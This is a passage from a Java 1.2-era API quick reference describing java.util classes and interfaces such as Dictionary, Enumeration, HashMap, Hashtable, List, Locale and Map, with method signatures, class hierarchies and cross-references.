Passed To: java.security.cert.X509Certificate.checkValidity(), java.text.DateFormat.format(), java.text.SimpleDateFormat.{format(), set2DigitYearStart()}, Calendar.setTime(), java.util.Date.{after(), before(), compareTo()}, GregorianCalendar.setGregorianChange(), SimpleTimeZone.inDaylightTime(), java.util.Timer.{schedule(), scheduleAtFixedRate()}, TimeZone.inDaylightTime()

Returned By: java.security.KeyStore.getCreationDate(), java.security.KeyStoreSpi.engineGetCreationDate(), java.security.cert.X509Certificate.{getNotAfter(), getNotBefore()}, java.security.cert.X509CRL.{getNextUpdate(), getThisUpdate()}, java.security.cert.X509CRLEntry.getRevocationDate(), java.text.DateFormat.parse(), java.text.SimpleDateFormat.{get2DigitYearStart(), parse()}, Calendar.getTime(), GregorianCalendar.getGregorianChange()

Dictionary | Java 1.0
java.util | PJ1.1

This abstract class is the superclass of Hashtable. Other hashtable-like data structures might also extend this class. See Hashtable for more information. In Java 1.2, the Map interface replaces the functionality of this class.

public abstract class Dictionary {
// | Public Constructors
 | public Dictionary ();
// | Public Instance Methods
 | public abstract Enumeration elements ();
 | public abstract Object get (Object key);
 | public abstract boolean isEmpty ();
 | public abstract Enumeration keys ();
 | public abstract Object put (Object key, Object value);
 | public abstract Object remove (Object key);
 | public abstract int size ();
}

Subclasses: Hashtable

Passed To: javax.swing.JSlider.setLabelTable(), javax.swing.text.AbstractDocument.setDocumentProperties()

Returned By: javax.swing.JSlider.getLabelTable(), javax.swing.text.AbstractDocument.getDocumentProperties()

EmptyStackException | Java 1.0
java.util | serializable unchecked PJ1.1

Signals that a Stack object is empty.

public class EmptyStackException extends RuntimeException {
// | Public Constructors
 | public EmptyStackException ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->EmptyStackException

Thrown By: java.awt.EventQueue.pop()

Enumeration | Java 1.0
java.util | PJ1.1

This interface defines the methods necessary to enumerate, or iterate, through a set of values, such as the set of values contained in a hashtable or binary tree. It is particularly useful for data structures, like hashtables, for which elements cannot simply be looked up by index, as they can in arrays. An Enumeration is usually not instantiated directly, but instead is created by the object that is to have its values enumerated. A number of classes, such as Vector and Hashtable, have methods that return Enumeration objects. In Java 1.2, the new Iterator interface is preferred over Enumeration.

To use an Enumeration object, you use its two methods in a loop. hasMoreElements() returns true if there are more values to be enumerated and can determine whether a loop should continue. Within a loop, a call to nextElement() returns a value from the enumeration. An Enumeration makes no guarantees about the order in which the values are returned. The values in an Enumeration can be iterated through only once; there is no way to reset it to the beginning.

public interface Enumeration {
// | Public Instance Methods
 | public abstract boolean hasMoreElements ();
 | public abstract Object nextElement ();
}

Implementations: StringTokenizer, javax.naming.NamingEnumeration

Passed To: java.io.SequenceInputStream.SequenceInputStream(), javax.naming.CompositeName.CompositeName(), javax.naming.CompoundName.CompoundName(), javax.swing.JTree.removeDescendantToggledPaths(), javax.swing.text.AbstractDocument.AbstractElement.removeAttributes(), javax.swing.text.AbstractDocument.AttributeContext.removeAttributes(), javax.swing.text.MutableAttributeSet.removeAttributes(), javax.swing.text.SimpleAttributeSet.removeAttributes(), javax.swing.text.StyleContext.removeAttributes(), javax.swing.text.StyleContext.NamedStyle.removeAttributes(), javax.swing.text.html.StyleSheet.removeAttributes()

Returned By: Too many methods to list.

Type Of: javax.swing.tree.DefaultMutableTreeNode.EMPTY_ENUMERATION

EventListener | Java 1.1
java.util | event listener PJ1.1

EventListener is a base interface for the event model that is used by AWT and Swing in Java 1.1 and later. This interface defines no methods or constants; it serves simply as a tag that identifies objects that act as event listeners. The event listener interfaces in the java.awt.event, java.beans, and javax.swing.event packages extend this interface.

public interface EventListener {
}

Implementations: Too many classes to list.

Passed To: java.awt.AWTEventMulticaster.{addInternal(), AWTEventMulticaster(), remove(), removeInternal(), save()}, javax.swing.event.EventListenerList.{add(), remove()}

Returned By: Too many methods to list.

Type Of: java.awt.AWTEventMulticaster.{a, b}

EventObject | Java 1.1
java.util | serializable event PJ1.1

EventObject serves as the superclass for all event objects used by the event model introduced in Java 1.1 for AWT and JavaBeans and also used by Swing in Java 1.2. This class defines a generic type of event; it is extended by the more specific event classes in the java.awt, java.awt.event, java.beans, and javax.swing.event packages. The only common feature shared by all events is a source object, which is the object that, in some way, generated the event. The source object is passed to the EventObject() constructor and is returned by the getSource() method.

public class EventObject implements Serializable {
// | Public Constructors
 | public EventObject (Object source);
// | Public Instance Methods
 | public Object getSource ();
// | Public Methods Overriding Object
 | public String toString ();
// | Protected Instance Fields
 | protected transient Object source ;
}

Hierarchy: Object-->EventObject(Serializable)

Subclasses: Too many classes to list.

Passed To: javax.swing.AbstractCellEditor.{isCellEditable(), shouldSelectCell()}, javax.swing.CellEditor.{isCellEditable(), shouldSelectCell()}, javax.swing.DefaultCellEditor.{isCellEditable(), shouldSelectCell()}, javax.swing.DefaultCellEditor.EditorDelegate.{isCellEditable(), shouldSelectCell(), startCellEditing()}, javax.swing.JTable.editCellAt(), javax.swing.tree.DefaultTreeCellEditor.{canEditImmediately(), isCellEditable(), shouldSelectCell(), shouldStartEditingTimer()}

GregorianCalendar | Java 1.1
java.util | cloneable serializable PJ1.1

This concrete subclass of Calendar implements the standard solar calendar with years numbered from the birth of Christ that is used is most locales throughout the world. You do not typically use this class directly, but instead obtain a Calendar object suitable for the default locale by calling Calendar.getInstance(). See Calendar for details on working with Calendar objects. There is a discontinuity in the Gregorian calendar that represents the historical switch from the Julian calendar to the Gregorian calendar. By default, GregorianCalendar assumes that this switch occurs on October 15, 1582. Most programs need not be concerned with the switch.

public class GregorianCalendar extends Calendar {
// | Public Constructors
 | public GregorianCalendar (); |
 | public GregorianCalendar (TimeZone zone); |
 | public GregorianCalendar (Locale aLocale); |
 | public GregorianCalendar (TimeZone zone, Locale aLocale); |
 | public GregorianCalendar (int year, int month, int date); |
 | public GregorianCalendar (int year, int month, int date, int hour, int minute); |
 | public GregorianCalendar (int year, int month, int date, int hour, int minute, int second); |
// | Public Constants
 | public static final int AD ; | =1
 | public static final int BC ; | =0
// | Public Instance Methods
 | public final java.util.Date getGregorianChange (); |
 | public boolean isLeapYear (int year); |
 | public void setGregorianChange (java.util.Date date); |
// | Public Methods Overriding Calendar
 | public void add (int field, int amount); |
 | public boolean equals (Object obj); |
1.2 | public int getActualMaximum (int field); |
1.2 | public int getActualMinimum (int field); |
 | public int getGreatestMinimum (int field); |
 | public int getLeastMaximum (int field); |
 | public int getMaximum (int field); |
 | public int getMinimum (int field); |
 | public int hashCode (); |
 | public void roll (int field, boolean up); |
 | public void roll (int field, int amount); |
// | Protected Methods Overriding Calendar
 | protected void computeFields (); |
 | protected void computeTime (); |
}

Hierarchy: Object-->Calendar(Cloneable,Serializable)-->GregorianCalendar

HashMap | Java 1.2
java.util | cloneable serializable collection

This class implements the Map interface using an internal hashtable. It supports all optional Map methods, allows key and value objects of any types, and allows null to be used as a key or a value. Because HashMap is based on a hashtable data structure, the get() and put() methods are very efficient. HashMap is much like the Hashtable class, except that the HashMap methods are not synchronized (and are therefore faster), and HashMap allows null to be used as a key or a value. If you are working in a multithreaded environment, or if compatibility with previous versions of Java is a concern, use Hashtable. Otherwise, use HashMap.

If you know in advance approximately how many mappings a HashMap will contain, you can improve efficiency by specifying initialCapacity when you call the HashMap() constructor. The initialCapacity argument times the loadFactor argument should be greater than the number of mappings the HashMap will contain. A good value for loadFactor is 0.75; this is also the default value. See Map for details on the methods of HashMap. See also TreeMap and HashSet.

public class HashMap extends AbstractMap implements Cloneable, Map, Serializable {
// | Public Constructors
 | public HashMap (); |
 | public HashMap (int initialCapacity); |
 | public HashMap (Map t); |
 | public HashMap (int initialCapacity, float loadFactor); |
// | Methods Implementing Map
 | public void clear (); |
 | public boolean containsKey (Object key); |
 | public boolean containsValue (Object value); |
 | public Set entrySet (); |
 | public Object get (Object key); |
 | public boolean isEmpty (); | default:true
 | public Set keySet (); |
 | public Object put (Object key, Object value); |
 | public void putAll (Map t); |
 | public Object remove (Object key); |
 | public int size (); |
 | public Collection values (); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->AbstractMap(Map)-->HashMap(Cloneable,Map,Serializable)

Type Of: java.beans.beancontext.BeanContextServicesSupport.services, java.beans.beancontext.BeanContextSupport.children

HashSet | Java 1.2
java.util | cloneable serializable collection

This class implements Set using an internal hashtable. It supports all optional Set and Collection methods and allows any type of object or null to be a member of the set. Because HashSet is based on a hashtable, the basic add(), remove(), and contains() methods are all quite efficient. HashSet makes no guarantee about the order in which the set elements are enumerated by the Iterator returned by iterator(). The methods of HashSet are not synchronized. If you are using it in a multithreaded environment, you must explicitly synchronize all code that modifies the set or obtain a synchronized wrapper for it by calling Collections.synchronizedSet().

If you know in advance approximately how many mappings a HashSet will contain, you can improve efficiency by specifying initialCapacity when you call the HashSet() constructor. The initialCapacity argument times the loadFactor argument should be greater than the number of mappings the HashSet will contain. A good value for loadFactor is 0.75; this is also the default value. See Set and Collection for details on the methods of HashSet. See also TreeSet and HashMap.

public class HashSet extends AbstractSet implements Cloneable, Serializable, Set {
// | Public Constructors
 | public HashSet (); |
 | public HashSet (int initialCapacity); |
 | public HashSet (Collection c); |
 | public HashSet (int initialCapacity, float loadFactor); |
// | Methods Implementing Set
 | public boolean add (Object o); |
 | public void clear (); |
 | public boolean contains (Object o); |
 | public boolean isEmpty (); | default:true
 | public Iterator iterator (); |
 | public boolean remove (Object o); |
 | public int size (); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->AbstractCollection(Collection)-->AbstractSet(Set(Collection))-->HashSet(Cloneable,Serializable,Set(Collection))

Hashtable | Java 1.0
java.util | cloneable serializable collection PJ1.1

This class implements a hashtable data structure, which maps key objects to value objects and allows the efficient lookup of the value associated with a given key. put() associates a value with a key in a Hashtable. get() retrieves a value for a specified key. remove() deletes a key/value association. keys() and elements() return Enumeration objects that allow you to iterate through the complete set of keys and values stored in the table. Objects used as keys in a Hashtable must have valid equals() and hashCode() methods (the versions inherited from Object are okay). null is not legal as a key or value in a Hashtable.

Hashtable is a commonly used class and has been a part of the Java API since Java 1.0. In Java 1.2, it has been enhanced to implement the Map interface, which defines some functionality in addition to the Java 1.0 Hashtable methods. Hashtable is very similar to the HashMap class, but has synchronized methods, which make it thread-safe but increase the overhead associated with it. If you need thread safety or require compatibility with Java 1.0 or Java 1.1, use Hashtable. Otherwise, use HashMap.

public class Hashtable extends Dictionary implements Cloneable, Map,Serializable {
// | Public Constructors
 | public Hashtable (); |
1.2 | public Hashtable (Map t); |
 | public Hashtable (int initialCapacity); |
 | public Hashtable (int initialCapacity, float loadFactor); |
// | Public Instance Methods
 | public boolean contains (Object value); | synchronized
// | Methods Implementing Map
 | public void clear (); | synchronized
 | public boolean containsKey (Object key); | synchronized
1.2 | public boolean containsValue (Object value); |
1.2 | public Set entrySet (); |
1.2 | public boolean equals (Object o); | synchronized
 | public Object get (Object key); | synchronized
1.2 | public int hashCode (); | synchronized
 | public boolean isEmpty (); | default:true
1.2 | public Set keySet (); |
 | public Object put (Object key, Object value); | synchronized
1.2 | public void putAll (Map t); | synchronized
 | public Object remove (Object key); | synchronized
 | public int size (); |
1.2 | public Collection values (); |
// | Public Methods Overriding Dictionary
 | public Enumeration elements (); | synchronized
 | public Enumeration keys (); | synchronized
// | Public Methods Overriding Object
 | public Object clone (); | synchronized
 | public String toString (); | synchronized
// | Protected Instance Methods
 | protected void rehash (); |
}

Hierarchy: Object-->Dictionary-->Hashtable(Cloneable,Map,Serializable)

Subclasses: Properties, javax.swing.UIDefaults

Passed To: Too many methods to list.

Returned By: javax.naming.CannotProceedException.getEnvironment(), javax.naming.Context.getEnvironment(), javax.naming.InitialContext.getEnvironment(), javax.servlet.http.HttpUtils.{parsePostData(), parseQueryString()}, javax.swing.JLayeredPane.getComponentToLayer(), javax.swing.JSlider.createStandardLabels()

Type Of: java.awt.GridBagLayout.comptable, javax.naming.CannotProceedException.environment, javax.naming.InitialContext.myProps, javax.swing.JTable.{defaultEditorsByColumnClass, defaultRenderersByColumnClass}, javax.swing.text.html.parser.DTD.{elementHash, entityHash}, javax.swing.undo.StateEdit.{postState, preState}

Iterator Java 1.2
java.util

This interface defines methods for iterating, or enumerating, the elements of a collection. The hasNext() method returns true if there are more elements to be enumerated or false if all elements have already been returned. The next() method returns the next element. These two methods make it easy to loop through an iterator with code such as the following:

for(Iterator i = c.iterator(); i.hasNext(); )
    processObject(i.next());

The Iterator interface is much like the Enumeration interface. In Java 1.2, Iterator is preferred over Enumeration because it provides a well-defined way to safely remove elements from a collection while the iteration is in progress. The remove() method removes the object most recently returned by next() from the collection that is being iterated through. Note, however, that support for remove() is optional; if an Iterator does not support remove(), it throws a java.lang.UnsupportedOperationException when you call it. While you are iterating through a collection, you are allowed to modify the collection only by calling the remove() method of the Iterator. If the collection is modified in any other way while an iteration is ongoing, the Iterator may fail to operate correctly,x or it may throw a ConcurrentModificationException.

public interface Iterator {
// | Public Instance Methods
 | public abstract boolean hasNext ();
 | public abstract Object next ();
 | public abstract void remove ();
}

Implementations: java.beans.beancontext.BeanContextSupport.BCSIterator, ListIterator

Returned By: Too many methods to list.

LinkedList | Java 1.2
java.util | cloneable serializable collection

This class implements the List interface in terms of a doubly linked list. It supports all optional methods of List and Collection and allows list elements of any type, including null. Because LinkedList is implemented with a linked list data structure, the get() and set() methods are substantially less efficient than the same methods for an ArrayList. However, a LinkedList may be more efficient when the add() and remove() methods are used frequently. The methods of LinkedList are not synchronized. If you are using a LinkedList in a multithreaded environment, you must explicitly synchronize any code that modifies the list or obtain a synchronized wrapper object with Collections.synchronizedList().

In addition to the methods defined by the List interface, LinkedList defines methods to get the first and last elements of the list, to add an element to the beginning or end of the list, and to remove the first or last element of the list. These convenient and efficient methods make LinkedList well-suited for use as a stack or queue. See List and Collection for details on the methods of LinkedList. See also ArrayList.

public class LinkedList extends AbstractSequentialList implements Cloneable, java.util.List, Serializable {
// | Public Constructors
 | public LinkedList ();
 | public LinkedList (Collection c);
// | Public Instance Methods
 | public void addFirst (Object o);
 | public void addLast (Object o);
 | public Object getFirst ();
 | public Object getLast ();
 | public Object removeFirst ();
 | public Object removeLast ();
// | Methods Implementing List
 | public boolean add (Object o);
 | public void add (int index, Object element);
 | public boolean addAll (Collection c);
 | public boolean addAll (int index, Collection c);
 | public void clear ();
 | public boolean contains (Object o);
 | public Object get (int index);
 | public int indexOf (Object o);
 | public int lastIndexOf (Object o);
 | public ListIterator listIterator (int index);
 | public boolean remove (Object o);
 | public Object remove (int index);
 | public Object set (int index, Object element);
 | public int size ();
 | public Object[ ] toArray ();
 | public Object[ ] toArray (Object[ ] a);
// | Public Methods Overriding Object
 | public Object clone ();
}

Hierarchy: Object-->AbstractCollection(Collection)-->AbstractList(java.util.List(Collection))-->AbstractSequentialList-->LinkedList(Cloneable,java.util.List(Collection),Serializable)

List | Java 1.2
java.util | collection

This interface represents an ordered collection of objects. Each element in a List has an index, or position, in the list, and elements can be inserted, queried, and removed by index. The first element of a List has an index of 0. The last element in a list has index size()-1.

In addition to the methods defined by the superinterface, Collection, List defines a number of methods for working with its indexed elements. get() and set() query and set the object at a particular index, respectively. Versions of add() and addAll() that take an index argument insert an object or Collection of objects at a specified index. The versions of add() and addAll() that do not take an index argument insert an object or collection of objects at the end of the list. List defines a version of remove() that removes the object at a specified index.

The iterator() method is just like the iterator() method of Collection, except that the Iterator it returns is guaranteed to enumerate the elements of the List in order. listIterator() returns a ListIterator object, which is more powerful than a regular Iterator and allows the list to be modified while iteration proceeds. listIterator() can take an index argument to specify where in the list iteration should begin.

indexOf() and lastIndexOf() perform linear searches from the beginning and end, respectively, of the list, searching for a specified object. Each method returns the index of the first matching object it finds, or -1 if it does not find a match. Finally, subList() returns a List that contains only a specified contiguous range of list elements. The returned list is simply a view into the original list, so changes in the original List are visible in the returned List. This subList() method is particularly useful if you want to sort, search, clear(), or otherwise manipulate only a partial range of a larger list.

An interface cannot specify constructors, but it is conventional that all implementations of List provide at least two standard constructors: one that takes no arguments and creates an empty list, and a copy constructor that accepts an arbitrary Collection object that specifies the initial contents of the new List.

As with Collection, all List methods that change the contents of the list are optional, and implementations that do not support them simply throw java.lang.UnsupportedOperationException. Different implementations of List may have significantly different efficiency characteristics. For example, the get() and set() methods of an ArrayList are much more efficient than those of a LinkedList. On the other hand, the add() and remove() methods of a LinkedList can be more efficient than those of an ArrayList. See also Collection, Set, Map, ArrayList, and LinkedList.

public interface List extends Collection {
// | Public Instance Methods
 | public abstract boolean add (Object o);
 | public abstract void add (int index, Object element);
 | public abstract boolean addAll (Collection c);
 | public abstract boolean addAll (int index, Collection c);
 | public abstract void clear ();
 | public abstract boolean contains (Object o);
 | public abstract boolean containsAll (Collection c);
 | public abstract boolean equals (Object o);
 | public abstract Object get (int index);
 | public abstract int hashCode ();
 | public abstract int indexOf (Object o);
 | public abstract boolean isEmpty ();
 | public abstract Iterator iterator ();
 | public abstract int lastIndexOf (Object o);
 | public abstract ListIterator listIterator ();
 | public abstract ListIterator listIterator (int index);
 | public abstract boolean remove (Object o);
 | public abstract Object remove (int index);
 | public abstract boolean removeAll (Collection c);
 | public abstract boolean retainAll (Collection c);
 | public abstract Object set (int index, Object element);
 | public abstract int size ();
 | public abstract java.util.List subList (int fromIndex, int toIndex);
 | public abstract Object[ ] toArray ();
 | public abstract Object[ ] toArray (Object[ ] a);
}

Hierarchy: (java.util.List(Collection))

Implementations: AbstractList, ArrayList, LinkedList, Vector

Passed To: java.awt.dnd.DragGestureEvent.DragGestureEvent(), Collections.{binarySearch(), copy(), fill(), reverse(), shuffle(), sort(), synchronizedList(), unmodifiableList()}

Returned By: java.awt.dnd.DropTargetContext.getCurrentDataFlavorsAsList(), java.awt.dnd.DropTargetDragEvent.getCurrentDataFlavorsAsList(), java.awt.dnd.DropTargetDropEvent.getCurrentDataFlavorsAsList(), AbstractList.subList(), Arrays.asList(), Collections.{nCopies(), singletonList(), synchronizedList(), unmodifiableList()}, java.util.List.subList(), Vector.subList()

Type Of: Collections.EMPTY_LIST

ListIterator Java 1.2
java.util

This interface is an extension of Iterator for use with ordered collections, or lists. It defines methods to iterate forward and backward through a list, to determine the list index of the elements being iterated, and, for mutable lists, to safely insert, delete, and edit elements in the list while the iteration is in progress. For some lists, notably LinkedList, using an iterator to enumerate the list's elements may be substantially more efficient than looping through the list by index and calling get() repeatedly.

hasNext() and next() are the most commonly used methods of ListIterator; they iterate forward through the list. See Iterator for details. In addition to these two methods, however, ListIterator also defines hasPrevious() and previous() that allow you to iterate backward through the list. previous() returns the previous element on the list or throws a NoSuchElementException if there is no previous element. hasPrevious() returns true if a subsequent call to previous() returns an object. nextIndex() and previousIndex() return the index of the object that would be returned by a subsequent call to next() or previous(). If next() or previous() throw a NoSuchElementException, nextIndex() returns the size of the list, and previousIndex() returns -1.

ListIterator defines three optionally supported methods that provide a safe way to modify the contents of the underlying list while the iteration is in progress. add() inserts a new object into the list, immediately before the object that would be returned by a subsequent call to next(). Calling add() does not affect the value that is returned by next(), however. If you call previous() immediately after calling add(), the method returns the object you just added. remove() deletes from the list the object most recently returned by next() or previous(). You can only call remove() once per call to next() or previous(). If you have called add(), you must call next() or previous() again before calling remove(). set() replaces the object most recently returned by next() or previous() with the specified object. If you have called add() or remove(), you must call next() or previous() again before calling set(). Remember that support for the add(), remove(), and set() methods is optional. Iterators for immutable lists never support them, of course. An unsupported method throws a java.lang.UnsupportedOperationException when called. Also, when an iterator is in use, all modifications should be made through the iterator rather than to the list itself. If the underlying list is modified while an iteration is ongoing, the ListIterator may fail to operate correctly or may throw a ConcurrentModificationException.

public interface ListIterator extends Iterator {
// | Public Instance Methods
 | public abstract void add (Object o);
 | public abstract boolean hasNext ();
 | public abstract boolean hasPrevious ();
 | public abstract Object next ();
 | public abstract int nextIndex ();
 | public abstract Object previous ();
 | public abstract int previousIndex ();
 | public abstract void remove ();
 | public abstract void set (Object o);
}

Hierarchy: (ListIterator(Iterator))

Returned By: AbstractList.listIterator(), AbstractSequentialList.listIterator(), LinkedList.listIterator(), java.util.List.listIterator()

ListResourceBundle | Java 1.1
java.util | PJ1.1

This abstract class provides a simple way to define a ResourceBundle. You may find it easier to subclass ListResourceBundle than to subclass ResourceBundle directly. ListResourceBundle provides implementations for the abstract handleGetObject() and getKeys() methods defined by ResourceBundle and adds its own abstract getContents() method a subclass must override. getContents() returns an Object[][]--an array of arrays of objects. This array can have any number of elements. Each element of this array must itself be an array with two elements: the first element of each subarray should be a String that specifies the name of a resource, and the corresponding second element should be the value of that resource; this value can be an Object of any desired type. See also ResourceBundle and PropertyResourceBundle.

public abstract class ListResourceBundle extends ResourceBundle {
// | Public Constructors
 | public ListResourceBundle ();
// | Public Methods Overriding ResourceBundle
 | public Enumeration getKeys ();
 | public final Object handleGetObject (String key);
// | Protected Instance Methods
 | protected abstract Object[ ][ ] getContents ();
}

Hierarchy: Object-->ResourceBundle-->ListResourceBundle

Subclasses: java.text.resources.DateFormatZoneData, java.text.resources.DateFormatZoneData_en, java.text.resources.LocaleElements, java.text.resources.LocaleElements_en, java.text.resources.LocaleElements_en_US, javax.accessibility.AccessibleResourceBundle

Locale | Java 1.1
java.util | cloneable serializable PJ1.1

The Locale class represents a locale: a political, geographical, or cultural region that typically has a distinct language and distinct customs and conventions for such things as formatting dates, times, and numbers. The Locale class defines a number of constants that represent commonly used locales. Locale also defines a static getDefault() method that returns the default Locale object, which represents a locale value inherited from the host system. getAvailableLocales() returns the list of all locales supported by the underlying system. If none of these methods for obtaining a Locale object are suitable, you can explicitly create your own Locale object. To do this, you must specify a language code, a country code, and an optional variant string. getISOCountries() and getISOLanguages() return the list of supported country codes and language codes.

The Locale class does not implement any internationalization behavior itself; it merely serves as a locale identifier for those classes that can localize their behavior. Given a Locale object, you can invoke the various getDisplay methods to obtain a description of the locale suitable for display to a user. These methods may themselves take a Locale argument, so the names of languages and countries can be localized as appropriate.

public final class Locale implements Cloneable, Serializable {
// | Public Constructors
 | public Locale (String language, String country); |
 | public Locale (String language, String country, String variant); |
// | Public Constants
 | public static final Locale CANADA ; |
 | public static final Locale CANADA_FRENCH ; |
 | public static final Locale CHINA ; |
 | public static final Locale CHINESE ; |
 | public static final Locale ENGLISH ; |
 | public static final Locale FRANCE ; |
 | public static final Locale FRENCH ; |
 | public static final Locale GERMAN ; |
 | public static final Locale GERMANY ; |
 | public static final Locale ITALIAN ; |
 | public static final Locale ITALY ; |
 | public static final Locale JAPAN ; |
 | public static final Locale JAPANESE ; |
 | public static final Locale KOREA ; |
 | public static final Locale KOREAN ; |
 | public static final Locale PRC ; |
 | public static final Locale SIMPLIFIED_CHINESE ; |
 | public static final Locale TAIWAN ; |
 | public static final Locale TRADITIONAL_CHINESE ; |
 | public static final Locale UK ; |
 | public static final Locale US ; |
// | Public Class Methods
1.2 | public static Locale[ ] getAvailableLocales (); |
 | public static Locale getDefault (); |
1.2 | public static String[ ] getISOCountries (); |
1.2 | public static String[ ] getISOLanguages (); |
 | public static void setDefault (Locale newLocale); | synchronized
// | Property Accessor Methods (by property name)
 | public String getCountry (); |
 | public final String getDisplayCountry (); |
 | public String getDisplayCountry (Locale inLocale); |
 | public final String getDisplayLanguage (); |
 | public String getDisplayLanguage (Locale inLocale); |
 | public final String getDisplayName (); |
 | public String getDisplayName (Locale inLocale); |
 | public final String getDisplayVariant (); |
 | public String getDisplayVariant (Locale inLocale); |
 | public String getISO3Country () throws MissingResourceException; |
 | public String getISO3Language () throws MissingResourceException; |
 | public String getLanguage (); |
 | public String getVariant (); |
// | Public Methods Overriding Object
 | public Object clone (); |
 | public boolean equals (Object obj); |
 | public int hashCode (); | synchronized
 | public final String toString (); |
}

Hierarchy: Object-->Locale(Cloneable,Serializable)

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: Too many fields to list.

Map | Java 1.2
java.util | collection

This interface represents a collection of mappings, or associations, between key objects and value objects. Hashtables and associative arrays are examples of maps. The set of key objects in a Map must not have any duplicates; the collection of value objects is under no such constraint. The key objects should usually be immutable objects, or, if they are not, care should be taken that they do not change while in use in a Map. As of Java 1.2, the Map interface replaces the abstract Dictionary class. Although a Map is not a Collection, the Map interface is still considered an integral part, along with Set, List, and others, of the Java collections framework.

You can add a key/value association to a Map with the put() method. Use putAll() to copy all mappings from one Map to another. Call get() to look up the value object associated with a specified key object. Use remove() to delete the mapping between a specified key and its value, or use clear() to delete all mappings from a Map. size() returns the number of mappings in a Map, and isEmpty() tests whether the Map contains no mappings. containsKey() tests whether a Map contains the specified key object, and containsValue() tests whether it contains the specified value. (For most implementations, containsValue() is a much more expensive operation than containsKey(), however.) keySet() returns a Set of all key objects in the Map. values() returns a Collection (not a Set, since it may contain duplicates) of all value objects in the map. entrySet() returns a Set of all mappings in a Map. The elements of this returned Set are Map.Entry objects. The collections returned by values(), keySet(), and entrySet() are based on the Map itself, so changes to the Map are reflected in the collections.

An interface cannot specify constructors, but it is conventional that all implementations of Map provide at least two standard constructors: one that takes no arguments and creates an empty map, and a copy constructor that accepts a Map object that specifies the initial contents of the new Map.

Implementations are required to support all methods that query the contents of a Map, but support for methods that modify the contents of a Map is optional. If an implementation does not support a particular method, the implementation of that method simply throws a java.lang.UnsupportedOperationException. See also Collection, Set, List, HashMap, Hashtable, WeakHashMap, SortedMap, and TreeMap.

public interface Map {
// | Inner Classes
 | ;
// | Public Instance Methods
 | public abstract void clear ();
 | public abstract boolean containsKey (Object key);
 | public abstract boolean containsValue (Object value);
 | public abstract Set entrySet ();
 | public abstract boolean equals (Object o);
 | public abstract Object get (Object key);
 | public abstract int hashCode ();
 | public abstract boolean isEmpty ();
 | public abstract Set keySet ();
 | public abstract Object put (Object key, Object value);
 | public abstract void putAll (Map t);
 | public abstract Object remove (Object key);
 | public abstract int size ();
 | public abstract Collection values ();
}

Implementations: java.awt.RenderingHints, AbstractMap, HashMap, Hashtable, SortedMap, WeakHashMap, java.util.jar.Attributes

Passed To: Too many methods to list.

Returned By: java.awt.Font.getAttributes(), java.awt.Toolkit.mapInputMethodHighlight(), java.awt.datatransfer.FlavorMap.{getFlavorsForNatives(), getNativesForFlavors()}, java.awt.datatransfer.SystemFlavorMap.{getFlavorsForNatives(), getNativesForFlavors()}, java.awt.im.InputMethodHighlight.getStyle(), java.sql.Connection.getTypeMap(), java.text.AttributedCharacterIterator.getAttributes(), Collections.{singletonMap(), synchronizedMap(), unmodifiableMap()}, java.util.jar.Manifest.getEntries(), javax.sql.RowSet.getTypeMap()

Type Of: java.awt.Toolkit.desktopProperties, Collections.EMPTY_MAP, java.util.jar.Attributes.map

Map.Entry Java 1.2
java.util

This interface represents a single mapping, or association, between a key object and a value object in a Map. The entrySet() method of a Map returns a Set of Map.Entry objects that represent the set of mappings in the map. Use the iterator() method of that Set to enumerate these Map.Entry objects. Use getKey() and getValue() to obtain the key and value objects for the entry. Use the optionally supported setValue() method to change the value of an entry. This method throws a java.lang.UnsupportedOperationException if it is not supported by the implementation.

public static interface Map.Entry {
// | Public Instance Methods
 | public abstract boolean equals (Object o);
 | public abstract Object getKey ();
 | public abstract Object getValue ();
 | public abstract int hashCode ();
 | public abstract Object setValue (Object value);
}
MissingResourceException | Java 1.1
java.util | serializable unchecked PJ1.1

Signals that no ResourceBundle can be located for the desired locale or that a named resource cannot be found within a given ResourceBundle. getClassName() returns the name of the ResourceBundle class in question, and getKey() returns the name of the resource that cannot be located.

public class MissingResourceException extends RuntimeException {
// | Public Constructors
 | public MissingResourceException (String s, String className, String key);
// | Public Instance Methods
 | public String getClassName ();
 | public String getKey ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->MissingResourceException

Thrown By: Locale.{getISO3Country(), getISO3Language()}, ResourceBundle.{getBundle(), getObject(), getString(), getStringArray(), handleGetObject()}

NoSuchElementException | Java 1.0
java.util | serializable unchecked PJ1.1

Signals that there are no elements in an object (such as a Vector) or that there are no more elements in an object (such as an Enumeration).

public class NoSuchElementException extends RuntimeException {
// | Public Constructors
 | public NoSuchElementException ();
 | public NoSuchElementException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->NoSuchElementException

Observable | Java 1.0
java.util | PJ1.1

This class is the superclass of all observable objects to be used in an object-oriented model/view paradigm. The class methods allow you to add and delete Observer objects on the list maintained by an Observable object and to notify all of the Observer objects on the list. Observer objects are notified by invoking their update() methods. Observable also maintains an internal changed flag that can be set and cleared by the Observable itself and queried with hasChanged() by any interested observer.

public class Observable {
// | Public Constructors
 | public Observable (); |
// | Public Instance Methods
 | public void addObserver (Observer o); | synchronized
 | public int countObservers (); | synchronized
 | public void deleteObserver (Observer o); | synchronized
 | public void deleteObservers (); | synchronized
 | public boolean hasChanged (); | synchronized
 | public void notifyObservers (); |
 | public void notifyObservers (Object arg); |
// | Protected Instance Methods
 | protected void clearChanged (); | synchronized
 | protected void setChanged (); | synchronized
}

Passed To: Observer.update()

Observer | Java 1.0
java.util | PJ1.1

This interface defines the update() method required for an object to observe subclasses of Observable. An Observer registers interest in an Observable object by calling the addObserver() method of Observable. Observer objects that have been registered in this way have their update() methods invoked by the Observable when that object has changed.

public interface Observer {
// | Public Instance Methods
 | public abstract void update (Observable o, Object arg);
}

Passed To: Observable.{addObserver(), deleteObserver()}

Properties | Java 1.0
java.util | cloneable serializable collection PJ1.1

This class is an extension of Hashtable that allows key/value pairs to be read from and written to a stream. The Properties class implements the system properties list, which supports user customization by allowing programs to look up the values of named resources. Because the load() and store() methods provide an easy way to read and write properties from and to a text stream, this class provides a convenient way to implement an application configuration file.

